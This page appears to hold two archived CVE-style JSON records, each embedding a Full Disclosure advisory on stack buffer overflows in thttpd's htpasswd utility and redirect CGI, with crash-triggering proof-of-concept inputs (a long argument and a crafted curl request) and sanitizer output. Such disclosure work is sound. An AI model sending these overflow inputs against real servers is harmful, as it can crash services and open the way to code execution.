Find a vulnerability

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "thttpd",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Ron E"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "*Description:*\nA stack-based buffer overflow vulnerability exists in the htpasswd utility\nbundled with thttpd. The vulnerability occurs due to unsafe copying of a\nuser-supplied command-line argument into a fixed-size stack buffer without\nproper bounds checking.Specifically, the program copies the username\nargument (argv[2]) into a local stack buffer using strcpy(). If an attacker\nsupplies an overly long username, this results in a stack buffer overflow,\nleading to memory corruption and a process crash. Under certain conditions,\nthis may be exploitable for arbitrary code execution.\n\n*Affected Component:*\n\n   - File: extras/htpasswd.c\n   - Function: main\n   - Vulnerable line: strcpy(user, argv[2]);\n\n\n*Affected Versions:*\n\n   - thttpd prior to latest release (all known versions shipping\n   extras/htpasswd.c with this logic)\n\n\n*Impact: *\n\n   - Denial of Service\n   - potential arbitrary code execution\n\n\n*Vulnerability Details:*\nThe vulnerable buffer is defined as:\n#define MAX_STRING_LEN 256\nchar user[MAX_STRING_LEN];\n\n*Proof of Concept (PoC):*\n*Output/Payload:*\n# ./htpasswd -c passwdfile testuser\nAdding password for testuser.\nNew password:\nRe-type new password:\n\n=================================================================\n==173875==ERROR: LeakSanitizer: detected memory leaks\n\nDirect leak of 5 byte(s) in 1 object(s) allocated from:\n    #0 0xffffaa4fa578 in malloc\n../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:67\n    #1 0xaaaade791c80 in strd /root/thttpd/extras/htpasswd.c:32\n    #2 0xaaaade792794 in add_password /root/thttpd/extras/htpasswd.c:122\n    #3 0xaaaade792ce4 in main /root/thttpd/extras/htpasswd.c:170\n    #4 0xffffaa1d2598 in __libc_start_call_main ../sysdeps/nptl\n/libc_start_call_main.h:58\n    #5 0xffffaa1d2678 in __libc_start_main_impl ../csu/libc-start.c:360\n    #6 0xaaaade791b6c in _start (/root/thttpd/extras/htpasswd+0x1b6c)\n(BuildId: 277fa93be8cbdf6cb9a0d89d15da163bf803f5a6)\n\nSUMMARY: AddressSanitizer: 5 byte(s) leaked in 1 allocation(s).\nroot@ubuntu:~/thttpd/extras# ./htpasswd passwdfile $(python3 - \u003c\u003c \u0027EOF\u0027\nprint(\"A\" * 1000)\nEOF\n)\n=================================================================\n==173879==ERROR: AddressSanitizer: stack-buffer-overflow on address\n0xfbffa1000120 at pc 0xffffa3214ff0 bp 0xfffff4000e10 sp 0xfffff40005f0\nWRITE of size 1001 at 0xfbffa1000120 thread T0\n    #0 0xffffa3214fec in strcpy\n../../../../src/libsanitizer/asan/asan_interceptors.cpp:568\n    #1 0xaaaad5172ee8 in main /root/thttpd/extras/htpasswd.c:187\n    #2 0xffffa2f42598 in __libc_start_call_main ../sysdeps/nptl\n/libc_start_call_main.h:58\n    #3 0xffffa2f42678 in __libc_start_main_impl ../csu/libc-start.c:360\n    #4 0xaaaad5171b6c in _start (/root/thttpd/extras/htpasswd+0x1b6c)\n(BuildId: 277fa93be8cbdf6cb9a0d89d15da163bf803f5a6)\n\nAddress 0xfbffa1000120 is located in stack of thread T0 at offset 288 in\nframe\n    #0 0xaaaad5172a30 in main /root/thttpd/extras/htpasswd.c:149\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T13:10:29Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/15"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/15"
        },
        {
          "url": "https://github.com/ob1sec"
        },
        {
          "url": "https://linkedin.com/in/yourhandle"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.linkedin.com/in/ronedgerson1"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/15"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "thttpd v2.26 Stack-Based Buffer Overflow in thttpd htpasswd Utility Allows Local Memory Corruption",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0315",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/15",
            "automated": true,
            "contentSha256": "6a462e368dd5a48691eb4592372e18f5441b4cd8b5961383b7ab1e5f286d49f0",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/15",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-30T23:48:25Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-09T13:10:29Z",
    "dateUpdated": "2026-09-09T13:10:29Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0315"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "thttpd",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Ron E"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "*Description:*\nA stack-based buffer overflow vulnerability exists in the redirect CGI\nprogram distributed with thttpd. The vulnerability is caused by unsafe\nstring concatenation when constructing redirect URLs using\nattacker-controlled CGI environment variables. A remote, unauthenticated\nattacker can trigger the vulnerability via a crafted HTTP request,\nresulting in a crash of the CGI process and denial of service. In\nenvironments lacking modern exploit mitigations, this condition may be\nexploitable for arbitrary code execution.\n\nThe redirect CGI program processes HTTP requests by reading CGI environment\nvariables such as SCRIPT_NAME and PATH_INFO. When a wildcard redirect rule\n(*) is present in the .redirects file, the program appends user-controlled\npath data to a fixed-size stack buffer using strcat() without enforcing\nbounds checks. Specifically, when a redirect rule contains a wildcard\nmatch, the following logic is executed:\nstrcat(url, script_name + (star - file)); Both script_name and the appended\ndata originate from HTTP request paths controlled by the client. No\nvalidation is performed to ensure the combined string length fits within\nthe allocated stack buffer (char url[5000]), resulting in a stack-based\nbuffer overflow.\n\n*Affected Component:*\n\n   - Project: thttpd\n   - Component: cgi-src/redirect.c\n   - Program Type: CGI executable\n   - Affected Function: main()\n   - Vulnerable Operation: strcat() on fixed-size stack buffer\n   - Vulnerable Buffer: char url[5000]\n\n\n*Attack Vector*\n\n   - Remote\n   - Unauthenticated\n   - No user interaction required\n\n\n*Proof of Concept (Remote):*\n\n*Attacker:*\ncurl \"http://127.0.0.1:8080/cgi-bin/redirect$(printf \u0027/A%.0s\u0027 {1..1000})\"\n----\ncurl: (52) Empty reply from server\nThis indicates the CGI process terminated unexpectedly during request\nhandling.\n\n*Server:*\nbusybox httpd -f -p 8080 -h /var/www\n\n*Output:*\n=================================================================\n==173922==ERROR: AddressSanitizer: stack-buffer-overflow on address\n0xfbff8c503cd8 at pc 0xffff8ee025f0 bp 0xffffe5394370 sp 0xffffe5393b50\nWRITE of size 70 at 0xfbff8c503cd8 thread T0\n    #0 0xffff8ee025ec in strcat\n../../../../src/libsanitizer/asan/asan_interceptors.cpp:520\n    #1 0xaaaae2ce2478 in main /root/thttpd/cgi-src/redirect.c:195\n    #2 0xffff8e4c2598 in __libc_start_call_main ../sysdeps/nptl\n/libc_start_call_main.h:58\n    #3 0xffff8e4c2678 in __libc_start_main_impl ../csu/libc-start.c:360\n    #4 0xaaaae2ce1cac in _start (/root/thttpd/cgi-src/redirect+0x1cac)\n(BuildId: dc697d7fab1c2439351593ff9fdb0104c36471ba)\n\nAddress 0xfbff8c503cd8 is located in stack of thread T0 at offset 15576 in\nframe\n    #0 0xaaaae2ce1e80 in main /root/thttpd/cgi-src/redirect.c:127\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-07T06:42:13Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/16"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/16"
        },
        {
          "url": "http://127.0.0.1:8080/cgi-bin/redirect$"
        },
        {
          "url": "https://github.com/ob1sec"
        },
        {
          "url": "https://linkedin.com/in/yourhandle"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.linkedin.com/in/ronedgerson1"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/16"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "thttpd v2.26 Stack-Based Buffer Overflow in thttpd redirect CGI Program",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0004",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/16",
            "automated": true,
            "contentSha256": "6b6160b5b9a50ced05080c778c3f18cf8688b61192d106562150e665b5297179",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/16",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-30T23:49:03Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T06:42:13Z",
    "dateUpdated": "2026-09-07T06:42:13Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0004"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}